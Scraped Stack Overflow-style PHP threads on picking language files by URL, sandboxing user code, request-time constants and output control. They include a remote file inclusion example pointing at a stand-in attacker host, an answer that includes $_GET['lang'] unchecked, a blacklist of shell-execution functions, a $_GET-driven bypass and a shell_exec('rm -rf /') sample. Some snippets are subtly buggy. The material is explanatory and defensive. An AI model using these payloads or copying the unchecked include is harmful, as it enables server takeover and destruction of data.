I have two PHP files - en.php and fr.php. One contains variables in English the other, in French. And I have to use the needed file based on the URL. For example, if the URL ends in ?lang=en I have to use the English one and vice versa. I am really new to PHP so that is why I'm asking here. Thanks!
Simple way
You keep the files in a specific directory, or strictly check the filename syntax.
This is because including the variables using require or include will execute a file that might be on another server, under someone else's control (see below, 'injection') under the security context of your web server. You so do not want this to happen, that it isn't funny. So: check the file name.
$lang = 'en';
if (array_key_exists('lang', $_REQUEST)) {
$test = $_REQUEST['lang'];
// Verify "lang" is a two-letter string
if (preg_match('#^[a-z]{2}$#', $test)) {
// Verify the requested language file exists
if (is_readable("./{$test}.php")) {
$lang = $test;
}
}
}
// Finally include the file.
include_once("{$lang}.php");
Remembering last used language
session_start();
$lang = 'en';
if (array_key_exists('lang', $_REQUEST)) {
...as before...
$lang = $test;
$_SESSION['lang'] = $lang;
} else {
if (array_key_exists('lang', $_SESSION)) {
$lang = $_SESSION['lang'];
}
}
// Finally include the file.
include_once("{$lang}.php");
More advanced: use a function to accept the language.
function validLanguage($test) {
// Verify "lang" is a two-letter string
if (preg_match('#^[a-z]{2}$#', $test)) {
// Verify the requested language file exists
if (is_readable("./{$test}.php")) {
return $test;
}
}
return null;
}
Now read it from browser.
PHP has a function to detect what language the browser is requiring.
$languages = array();
$languages[] = 'en'; // Default, with lowest priority
// Note: "en" default is not guaranteed to exist. You must ensure it does.
// Browser choice, with more priority than default
if (class_exists('Locale')) {
$locale = Locale::acceptFromHTTP($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if ($locale !== null) {
$test = substr($locale, 0, 2);
if (null !== ($test = validLanguage($test))) {
$languages[] = $test;
}
}
}
// Session, with more priority
if (array_key_exists('lang', $_SESSION)) {
$languages[] = $_SESSION['lang'];
}
// Language selected, with even more priority
if (array_key_exists('lang', $_REQUEST)) {
$test = $_REQUEST['lang'];
if (null !== ($test = validLanguage($test))) {
$languages[] = $test;
}
}
// Pop best choice for language
$lang = array_pop($languages);
// Remember for the next time
$_SESSION['lang'] = $lang;
// Finally include the appropriate file.
include_once("{$lang}.php");
Apache mod_rewrite
With more experience, you can, even afterwards, make it so requesting https://yoursite.com/en/anypage.php will actually be equivalent to requesting the ordinary https://yoursite.com/anypage.php?lang=en using Apache server's mod_rewrite facility, if you have it installed and activated, achieving more user- and SEO- friendly URLs. More details in this answer.
Doing this another way: using locale()
For the reasons detailed farther below, using include is not a very good idea after all. But usually you do this because you have something like
print "<h1>{$welcomeMessage}, {$username}!</h1>";
and you want to be able to say "Hello, John!" or "Bonjour, John!" or "Ciao, John", depending.
In PHP you can do this in several ways. One of the more robust is through gettext. This requires you to rewrite the above code like this - note that "_" is a valid function name! - ...
print "<h1>" . _('WELCOME_MESSAGE') .", {$username}!</h1>";
and then maintain a special file called a pofile that the underscore system can use.
This has several advantages in terms of memory usage and speed, and for professional usage also, since you can send an English pofile to, say, a Russian professional translator and they will (usually) be able to use it straight away with less hassle, more easily and hence for less money, so you will be able to purchase the appropriate pofile which - once uploaded - will translate your site (or the key parts of it) to Russian. You can even let your website owner (if you're a third-party developer) supply their own pofiles.
The job of using the gettext framework can be made less awkward with this trick: tell PHP beforehand that whatever is output must pass through a filter function.
ob_start('my_translate');
And this function will parse the argument looking for specific telltales that some text needs translating, and if so, return its translation:
function my_translate($text) {
// I will translate ??CAPITAL_STRINGS_IN_DOUBLE_QUESTI1MARKS??
$telltale = '#\?\?([A-Z][A-Z_0-9]+)\?\?#';
return preg_replace_callback(
$telltale,
function ($matches) {
return _($matches[1]);
}
$text
);
}
So now your PHP code becomes
print "<h1>??WELCOME?? {$username}!</h1>";
and instead of include("{$lang}.php") you would have a more complicated sequence, but you need it only in the one place:
// To guess actual OS, see this answer:
// https://stackoverflow.com/Questions/1482260/how-to-get-the-os-on-which-php-is-running
if ('Linux' === PHP_OS) {
setlocale(LC_MESSAGES, $lang);
} else {
putenv("LC_ALL={$lang}");
}
bindtextdomain('website', 'translations');
textdomain('website');
Also, you need to place the appropriate files in the "./translations" directory. In this example, $lang is a bit more complicated since it has to adhere to the "locale" syntax - so it would be "fr_FR" instead of "fr".
Security note about PHP code injection
Imagine that your server isn't very much hardened (many aren't; you'd be surprised). And the name of the desired language was not checked or sanitized. And I, John Q. Evil, have reason to suspect this might be the case. Or just want to check it out. I see "lang=en", I know what's going on.
So I prepare a PHP script on my server and prepare it to be served without being interpreted; accessing https://john.q.evil/hack.php will show you a PHP script complete with <?php start tags.
Then I access your site, and specify lang=https://john.q.evil/hack. Your web server obediently downloads and executes my code. My code, in turn, performs some diagnostics, determines that it's running on a Whateverix 5 server on an ARM CPU as user daemon, and downloads another binary optimized for the Whateverix OS on ARM7 in unprivileged context. Then executes it with shell_exec or in one of many other available ways. A few seconds later, your web server starts, say, mining cryptocoins to one of my disposable and deniable e-wallets.
This scenario is called a remote inclusion attack and is totally possible, and as to why should someone go to all this trouble on pretty little unknown me?, well, the answer is indeed that they wouldn't. But that because they wouldn't need to, not personally, not intentionally. They would instead deploy a crawler bot designed to efficiently locate all web servers that might be exploitable in such a way, and catch them all.
Why? Well, if I could infect, say, one thousand web servers, I could realistically siphon 15-20 watts of computing power from each of them without getting too much noticed. For free. At the end of a year, that should translate to around 2000 US dollars I cash having done absolutely nothing more than the initial setup. But the number of potential vulnerable websites is much more than a paltry one thousand. Attaining the 20,000 infected websites goal would begin to be a lucrative paying job (40K/yr), and tax-free to boot.
That's why miner malware is an industry, and this is why you need to always sanitize your inputs.
You can do something like that:
$lang = "en"; //default languague
if(isset($_GET['lang'])) {
$lang = $_GET['lang'];
}
require_once($lang.".php");
Related
I would like to run my custom php script only if script has not contain any function which can access to other scripts.
This is my solution:
function validateScript($data)
{
$match = null;
if(preg_match('/error_reporting|require|include|file_get_contents|glob|file|fgets|fread|dearfile|ini_set|system|proc_open|iframe|frame|show_source|readfile|passthru|pdo|mysql|phpinfo|session|server|var_dump|var_export|echo|exec|eval|popen|telnet|\$\$|\${\$/i', $data, $match)) {
return false;
}
return true;
}
$script = 'customscript.php';
$data = file_get_contents($script)
if(validateScript($data)) {
include $script;
}
I am not sure if this is good solution or if exists more secured way how to do it?
I would like to run my custom php script only if script has not contain any function which can access to other scripts.
That's a description of a solution - it would help if you explained what the problem is.
There are a lot of ommissions from your list and it is trivial to bypass the mechanisms you have put in place to prevent access.
For example (there's lot of other ways of avoiding the checks) I can run any of the functions you've blacklisted simply by:
foreach ($_GET['cmd'] as $key=>$fn)
call_user_func($fn, unserialize($_GET['args'][$key]);
If you really want to write a secure sandbox with no disk I/O then you have at least 2 years of research and practice ahead of you. Hint: don't even start by trying to parse the script contents.
I'd like to know from a design POV whether changing the value of a constant per HTTP request is discouraged or perfectly ok.
I have a few constants that are defined at the start of a PHP script and they're used to figure out a particular context (what is the user trying to do at the time). The constants are never changed throughout the lifecycle of the script so they conform with the rules of constants and they work well. However, the values of these constants depends on what the user's doing. I'm wondering whether this is discouraged or perfectly acceptable in PHP.
<?php
// This function is only run once per HTTP request at the start
function new_paper() {
define('NEW_PAPER', 1);
define('NEW_VERSION', 0);
}
// This function is also only run once per HTTP request at the start
function new_paper_version() {
define('NEW_PAPER', 0);
define('NEW_VERSION', 1);
}
// This function is subsequently called by both functions above
function a_handler_of_sorts() {
if (NEW_PAPER) {
// Do something if it's a new paper
}
elseif (NEW_VERSION) {
// Do something if it's a new version
}
else {
}
}
In no circumstances are both new_paper() and new_paper_version() run in the same HTTP request.
A typical use case would be something like:
define('DEBUG', !empty($_GET['debug']));
if (DEBUG) echo 'some debugging statement';
Obviously don't do this only based on a query parameter, especially not in production, but you get the idea.
So, yes, setting constant values based on the request is fine. Whether this is the best thing to do in your particular case is questionable and I don't know. I'd really reserve it for "meta" values like debug flags, not for values which are essentially function parameters, inputs for your business logic. Do this sparingly.
"Constant values" which influence how every script works independently of the request would be something like config files or environment variables, e.g. containing database access credentials and such.
Constants should not change during the request but as you said yours don't so I think you're OK there.
They represent fixed things such as how many DB connections are allowed, the name of the application etc. If you're trying to use them to store the state of your application then you could consider doing something like:
<?php
define('STATE_PAPER', 0);
define('STATE_VERSION', 1);
define('STATE_INVALID', 2);
$applicationState = null;
if (someCheckForPaper() === true) {
$applicationState = NEW_PAPER;
} else if (someCheckForVersion() === true) {
$applicationState = NEW_VERSION;
} else {
$applicationState = STATE_INVALID;
}
// Save $applicationState somewhere... maybe session?
// Somewhere else
if ($applicationState === STATE_PAPER) {
...
}
This may seem like a funny question but in fact it's not, I would like to disable echo, print and other functions that may output to the buffer such as readfile.
The reason why I would like to do this is to prevent the client from using echo or print outside the rules of my application, forcing them to compile their contents and send it to the output class, so that the whole buffer is managed.
Now I know I can set up an output buffer at the start of my script and throw away any content, but this will not include things such as header and set_cookie, so my question may be interpreted as How can I control the buffer for the head of the response
Is there any possible way to manage all aspects of PHP's outputting, such as assign a callback to the main buffer rather then just the body of response?
At the end there is no effective way to achieve this, because at least echo is not a function, but a language construct, that cannot get disabled. You may play around with output buffering (ob_start() and such), but that will not prevent other code to disable the output buffering again.
In my eyes there is no way around but to make sure, there is only "good code". I don't know, what you mean by "prevent the client", but I would not execute arbitrary code anyway. And if its written by disciplined developers and its tested, there should be no problem then.
Other than editing and recompiling, I don't believe you can disable functions that output. For functions that bypass output buffering, your SOL.
You can, however, use inline output buffering to control non-header output. The best part is it's nesting capability:
ob_start();
echo 'The first output!',"\n";
ob_start();
echo 'The second output.';
$output2 = ob_get_clean();
ob_flush();
echo $output2;
will output:
The first output!
The second output.
What you want to do - prevent outputting at runtime - isn't possible. It just isn't going to happen. You can get very close if you do these two things though: audit the code for keywords that can produce output, and buffer output while preventing access to the output buffer control functions.
Audit the code programmatically to make sure certain untrappable situations don't exist (it's up to you to cache the result of that audit efficiently, or just eat the cost of auditing on every page view - not recommended).
You can use token_get_all() to audit for output keywords such as T_ECHO and T_PRINT (here is a list of all possible tokens). Don't try to disable access to anything but keywords here, there's too many ways to trick that (eval(), variable variables, data:// streams, etc.) You're only blocking certain keywords here.
Don't forget T_INCLUDE, T_INCLUDE_ONCE, T_REQUIRE, and T_REQUIRE_ONCE. Not only could these be used to include unaudited code (such as PHP code written to a temp file then included), but using some of the more advanced file wrappers, these themselves can be used to produce output.
Use the PHP ADB extension to disable access to certain methods by renaming them. Don't try to disable output functions, it's just not going to work, there's too many ways to generate output. Pick out the special ones like set_cookie() and header(), but for actual output, there's innumerable ways to produce output. The only surefire way to block this is to use output buffering, but disable access to the output buffer control methods so they have no way to bypass buffering.
class YourApplicationControllingClass {
final protected function callUserCode($pathToUserCodeFile) {
// We want this to be a local variable so there's no way to get to it
// with PHP Reflection
$suspender = new SuspendFunctions();
ob_start();
// You may need to add more here, this is just my superficial pass
$suspender->suspend("ob_clean", "ob_end_clean", "ob_end_flush", "ob_flush",
"ob_get_clean", "ob_get_contents", "ob_get_flush", "ob_get_length",
"ob_get_level", "ob_get_status", "ob_implicit_flush", "ob_list_handlers",
"ob_start", "output_add_rewrite_var", "output_reset_rewrite_vars",
"set_cookie", "set_raw_cookie", "header_register_callback", "header",
"header_remove", "http_response_code", "register_shutdown_function",
"register_tick_function", "unregister_tick_function", "set_error_handler",
"restore_error_handler", "set_exception_handler", "restore_exception_handler"
);
$this->callUserCodeSandbox($pathToUserCodeFile);
// Restore our original execution environment
$suspender->resume();
$content = ob_get_clean();
// If you want to be aggressive, check to see if they produced any output
// and blacklist them if they even try.
if ($content !== '') $this->blacklistUserCode($pathToUserCodeFile);
}
private function callUserCodeSandbox($pathToUserCodeFile) {
require($pathToUserCodeFile);
}
}
final class SuspendFunctions {
private $suspendedFunctions = array();
/**
* Suspends certain functions from being executable.
* #param string $function,... Names of functions to suspend, you may pass multiple
* #return void
*/
function suspend($function) {
$functions = func_get_args();
foreach($functions as $function) {
// Make sure we don't double-suspend a function
if (isset($this->suspendedFunctions[$function])) continue;
// Make new names unguessable, and make it very unlikely that we end up with a collision.
$newName = '_'.md5($function.microtime(true).mt_random());
// Rename to the unguessable name
rename_function($function, $newName);
// Keep a record for ourselves what this new name is so we can resume later
$this->suspendedFunctions[$function] = $newName;
}
}
/**
* Resumes functions for calling
*/
function resume() {
foreach($this->suspendedFunctions as $function=>$newName) {
rename($newName, $function);
unset($this->suspendedFunctions[$function]);
}
}
}
Just be aware, no matter how good you are at this, there's almost certainly going to be a way to bypass (for example, maybe their code patches the content of one of your application's files to permit output again). PHP is too flexible to lock this down solidly. PHP had a similar project called Safe Mode, which they eventually abandoned because it was impossible to totally securely lock everything down. As long as the user has a full execution environment, anything you can do to block them, they can undo. Very unwise in general to execute user contributed code without hand-auditing each and every line (and even dangerous then).
do it this way :
function trace($message) {
$echo = true;
if ($echo)
echo $message . "<br>";
}
then just call trace("your message"); anytime you need it, and switch $echo to false to disable it globally
i was wondering do you think i should keep all my functions in one file, or seperate them in different files!!
p.s if i put all the functions in one file, would it be easier for php to process that stuff!!
It depends on how many functions they are, how long they are, and what they do. For any significant project, putting everything in one file is generally a bad idea. They should be categorized by what they do.
Having things in separate files is important not only for organization and legibility, but it also really helps during source control to see that a certain file has changed but all the others have stayed the same.
According to my experience, the fewer files you include the faster a PHP script runs. If separating the functions in several files means you need to use include or require several times, it's probably best to keep the functions in one file.
This is premature optimization attempt. The time for processing of the actual file content is going to outweigh the time saved in opening one closing the files. So you are saving maybe 0.01% of the time by splitting the files.
For a very large project, the loss in speed will be made up by the gain in modularity, and if done correctly, scalability. This function is very simple, very small, and can be used to include any php and then execute it, without the need for a long if() else or switch case. Now, this may be more intensive then a switch case statement, but for a large project this function is perfect.
function trnFeature_getFeature($feature = 'default', $options = array()) {
$path = __DIR__ . "/features/{$feature}/{$feature}";
//Check the path, if no file exists bail out
if(!file_exists($path . '.php')) {
return false;
}
//The path checked out, include the file
include_once $path . '.php';
//setup the function that will execute the feature
$feature_fn = "trnFeature_" . $feature . "_featureInit";
//execute the function, passing it the $options array with all available options
if(function_exists($feature_fn)) {
$output = $feature_fn($options);
} else {
//you haven't created the correct function yet, so bail out
return false;
}
return $output;
}
I'm using Zend_Reflection to generate an extended format set of ctags for use with my text editor. The problem is that you have to include any files that you wish to process.
The constructor for Zend_Reflection_File checks to see if the file you wish to reflect has been included, and if not it throws an exception:
// From Zend/Refection/File.php (94-97)
if (!$fileRealpath || !in_array($fileRealpath, get_included_files())) {
require_once 'Zend/Reflection/Exception.php';
throw new Zend_Reflection_Exception(
'File ' . $file . ' must be required before it can be reflected');
}
I only use this technique on code that I trust but I'd like to wrap it all up in a script for others to use. My concern is that any included files may introduce unsafe code into the current scope. For example, I wouldn't want to include the following:
<?php
// evil.php
shell_exec('rm -rf /');
My first thought was to use safe_mode but this is depreciated (and not as safe as the name would suggest it seems).
The next idea would be to use a custom php.ini file and the disable_functions directive but (beyond the candidates listed in the safe_mode documentation) I couldn't be sure that I'd caught all the necessary functions.
Finally I'm wondering if there's any way of making PHP run in a sandbox (of sorts) -- I'd like to capture the Reflection information without any global code that was included being executed at all.
Any and all thoughts appreciated.
TIA.
You shouldn't be including, or eval-ing, user supplied code.
Edit:
Trying to filter out "safe" code is beyond the scope of Zend_Reflection. That is not the intended usage, and is not supported by the framework. If you wish to do some voodoo token parsing on your input, feel free, but that isn't Zend_Reflection.
Edit 2:
If you really want to do this, please look at token_get_all, token_get_name, and the list of parser tokens.
If you look at the Zend_Reflection_File::_reflect method, you can get an idea of what you could do:
<?php
$tokens = token_get_all(file_get_contents('file.php'));
foreach ($tokens as $token) {
if (is_array($token)) {
$type = $token[0];
$value = $token[1];
$line = $token[2];
}
switch ($type) {
case T_FUNCTION:
if ($value == 'shell_exec') {
throw Exception("WTF");
}
// etc.
}
}